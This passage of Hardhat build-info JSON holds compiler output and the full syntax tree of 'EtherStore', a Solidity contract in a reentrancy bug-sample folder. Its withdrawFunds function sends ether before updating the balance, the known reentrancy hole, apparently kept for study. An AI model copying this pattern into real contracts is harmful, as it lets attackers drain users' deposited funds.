"end": 286, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "POP" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "POP" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "POP" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "JUMP", | |
"value": "[out]" | |
} | |
] | |
} | |
} | |
}, | |
"methodIdentifiers": { | |
"balances(address)": "27e235e3", | |
"depositFunds()": "e2c41dbc", | |
"lastWithdrawTime(address)": "1031ec31", | |
"withdrawFunds(uint256)": "155dd5ee", | |
"withdrawalLimit()": "7ddfe78d" | |
} | |
}, | |
"metadata": "{\"compiler\":{\"version\":\"0.4.26+commit.4563c3fc\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"lastWithdrawTime\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_weiToWithdraw\",\"type\":\"uint256\"}],\"name\":\"withdrawFunds\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"balances\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"withdrawalLimit\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"depositFunds\",\"outputs\":[],\"payable\":true,\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"methods\":{}},\"userdoc\":{\"methods\":{}}},\"settings\":{\"compilationTarget\":{\"bit-smartcontract-bug/reentrancy/EtherStore.sol\":\"EtherStore\"},\"evmVersion\":\"byzantium\",\"libraries\":{},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[]},\"sources\":{\"bit-smartcontract-bug/reentrancy/EtherStore.sol\":{\"keccak256\":\"0xb7f87cf33041b451ad3adca18292a695410cbcda6375797f34dc30d1a9c2323a\",\"urls\":[\"bzzr://c7065c996fe4cc3ffef1380b7797b23c739a1fa17f7c4bfe024ced4af21da8b2\"]}},\"version\":1}", | |
"userdoc": { | |
"methods": {} | |
} | |
} | |
} | |
}, | |
"sources": { | |
"bit-smartcontract-bug/reentrancy/EtherStore.sol": { | |
"ast": { | |
"absolutePath": "bit-smartcontract-bug/reentrancy/EtherStore.sol", | |
"exportedSymbols": { | |
"EtherStore": [ | |
81 | |
] | |
}, | |
"id": 82, | |
"nodeType": "SourceUnit", | |
"nodes": [ | |
{ | |
"id": 1, | |
"literals": [ | |
"solidity", | |
"^", | |
"0.4", | |
".26" | |
], | |
"nodeType": "PragmaDirective", | |
"src": "0:24:0" | |
}, | |
{ | |
"baseContracts": [], | |
"contractDependencies": [], | |
"contractKind": "contract", | |
"documentation": null, | |
"fullyImplemented": true, | |
"id": 81, | |
"linearizedBaseContracts": [ | |
81 | |
], | |
"name": "EtherStore", | |
"nodeType": "ContractDefinition", | |
"nodes": [ | |
{ | |
"constant": false, | |
"id": 4, | |
"name": "withdrawalLimit", | |
"nodeType": "VariableDeclaration", | |
"scope": 81, | |
"src": "51:40:0", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 2, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "51:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"value": { | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 3, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "84:7:0", | |
"subdenomination": "ether", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
}, | |
"value": "1" | |
}, | |
"visibility": "public" | |
}, | |
{ | |
"constant": false, | |
"id": 8, | |
"name": "lastWithdrawTime", | |
"nodeType": "VariableDeclaration", | |
"scope": 81, | |
"src": "97:51:0", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"typeName": { | |
"id": 7, | |
"keyType": { | |
"id": 5, | |
"name": "address", | |
"nodeType": "ElementaryTypeName", | |
"src": "105:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"nodeType": "Mapping", | |
"src": "97:27:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"valueType": { | |
"id": 6, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "116:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
}, | |
"value": null, | |
"visibility": "public" | |
}, | |
{ | |
"constant": false, | |
"id": 12, | |
"name": "balances", | |
"nodeType": "VariableDeclaration", | |
"scope": 81, | |
"src": "154:43:0", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"typeName": { | |
"id": 11, | |
"keyType": { | |
"id": 9, | |
"name": "address", | |
"nodeType": "ElementaryTypeName", | |
"src": "162:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"nodeType": "Mapping", | |
"src": "154:27:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"valueType": { | |
"id": 10, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "173:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
}, | |
"value": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 23, | |
"nodeType": "Block", | |
"src": "243:50:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 21, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 15, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 12, | |
"src": "253:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 18, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 16, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 96, | |
"src": "262:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 17, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "262:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "253:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "+=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 19, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 96, | |
"src": "277:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 20, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "value", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "277:9:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "253:33:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 22, | |
"nodeType": "ExpressionStatement", | |
"src": "253:33:0" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 24, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "depositFunds", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 13, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "225:2:0" | |
}, | |
"payable": true, | |
"returnParameters": { | |
"id": 14, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "243:0:0" | |
}, | |
"scope": 81, | |
"src": "204:89:0", | |
"stateMutability": "payable", | |
"superFunction": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 79, | |
"nodeType": "Block", | |
"src": "354:408:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 35, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 30, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 12, | |
"src": "372:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 33, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 31, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 96, | |
"src": "381:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 32, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "381:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": false, | |
"nodeType": "IndexAccess", | |
"src": "372:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": ">=", | |
"rightExpression": { | |
"argumentTypes": null, | |
"id": 34, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 26, | |
"src": "396:14:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "372:38:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 29, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
99, | |
100 | |
], | |
"referencedDeclaration": 99, | |
"src": "364:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 36, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "364:47:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 37, | |
"nodeType": "ExpressionStatement", | |
"src": "364:47:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 41, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"id": 39, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 26, | |
"src": "461:14:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": "<=", | |
"rightExpression": { | |
"argumentTypes": null, | |
"id": 40, | |
"name": "withdrawalLimit", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 4, | |
"src": "479:15:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "461:33:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 38, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
99, | |
100 | |
], | |
"referencedDeclaration": 99, | |
"src": "453:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 42, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "453:42:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 43, | |
"nodeType": "ExpressionStatement", | |
"src": "453:42:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 52, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"id": 45, | |
"name": "now", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 98, | |
"src": "559:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": ">=", | |
"rightExpression": { | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 51, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 46, | |
"name": "lastWithdrawTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 8, | |
"src": "566:16:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 49, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 47, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 96, | |
"src": "583:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 48, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "583:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": false, | |
"nodeType": "IndexAccess", | |
"src": "566:28:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": "+", | |
"rightExpression": { | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 50, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "597:7:0", | |
"subdenomination": "weeks", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_604800_by_1", | |
"typeString": "int_const 604800" | |
}, | |
"value": "1" | |
}, | |
"src": "566:38:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "559:45:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 44, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
99, | |
100 | |
], | |
"referencedDeclaration": 99, | |
"src": "551:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 53, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "551:54:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 54, | |
"nodeType": "ExpressionStatement", | |
"src": "551:54:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"arguments": [], | |
"expression": { | |
"argumentTypes": [], | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"id": 60, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 26, | |
"src": "645:14:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
], | |
"expression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 56, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 96, | |
"src": "623:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 57, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "623:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"id": 58, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "call", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "623:15:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_barecall_payable$__$returns$_t_bool_$", | |
"typeString": "function () payable returns (bool)" | |
} | |
}, | |
"id": 59, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "value", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "623:21:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_setvalue_nonpayable$_t_uint256_$returns$_t_function_barecall_payable$__$returns$_t_bool_$value_$", | |
"typeString": "function (uint256) returns (function () payable returns (bool))" | |
} | |
}, | |
"id": 61, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "623:37:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_barecall_payable$__$returns$_t_bool_$value", | |
"typeString": "function () payable returns (bool)" | |
} | |
}, | |
"id": 62, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "623:39:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 55, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
99, | |
100 | |
], | |
"referencedDeclaration": 99, | |
"src": "615:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 63, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "615:48:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 64, | |
"nodeType": "ExpressionStatement", | |
"src": "615:48:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 70, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 65, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 12, | |
"src": "673:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 68, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 66, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 96, | |
"src": "682:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 67, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "682:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "673:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "-=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"id": 69, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 26, | |
"src": "697:14:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "673:38:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 71, | |
"nodeType": "ExpressionStatement", | |
"src": "673:38:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 77, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 72, | |
"name": "lastWithdrawTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 8, | |
"src": "721:16:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 75, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 73, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 96, | |
"src": "738:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 74, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "738:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "721:28:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"id": 76, | |
"name": "now", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 98, | |
"src": "752:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "721:34:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 78, | |
"nodeType": "ExpressionStatement", | |
"src": "721:34:0" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 80, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "withdrawFunds", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 27, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 26, | |
"name": "_weiToWithdraw", | |
"nodeType": "VariableDeclaration", | |
"scope": 80, | |
"src": "323:22:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 25, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "323:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"value": null, | |
"visibility": "internal" | |
} | |
], | |
"src": "322:24:0" | |
}, | |
"payable": false, | |
"returnParameters": { | |
"id": 28, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "354:0:0" | |
}, | |
"scope": 81, | |
"src": "299:463:0", | |
"stateMutability": "nonpayable", | |
"superFunction": null, | |
"visibility": "public" | |
} | |
], | |
"scope": 82, | |
"src": "25:740:0" | |
} | |
], | |
"src": "0:769:0" | |
}, | |
"id": 0 | |
} | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"id": "3a40c90badb6ad29ca8f860cbaa80861", | |
"_format": "hh-sol-build-info-1", | |
"solcVersion": "0.4.26", | |
"solcLongVersion": "0.4.26+commit.4563c3fc", | |
"input": { | |
"language": "Solidity", | |
"sources": { | |
"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol": { | |
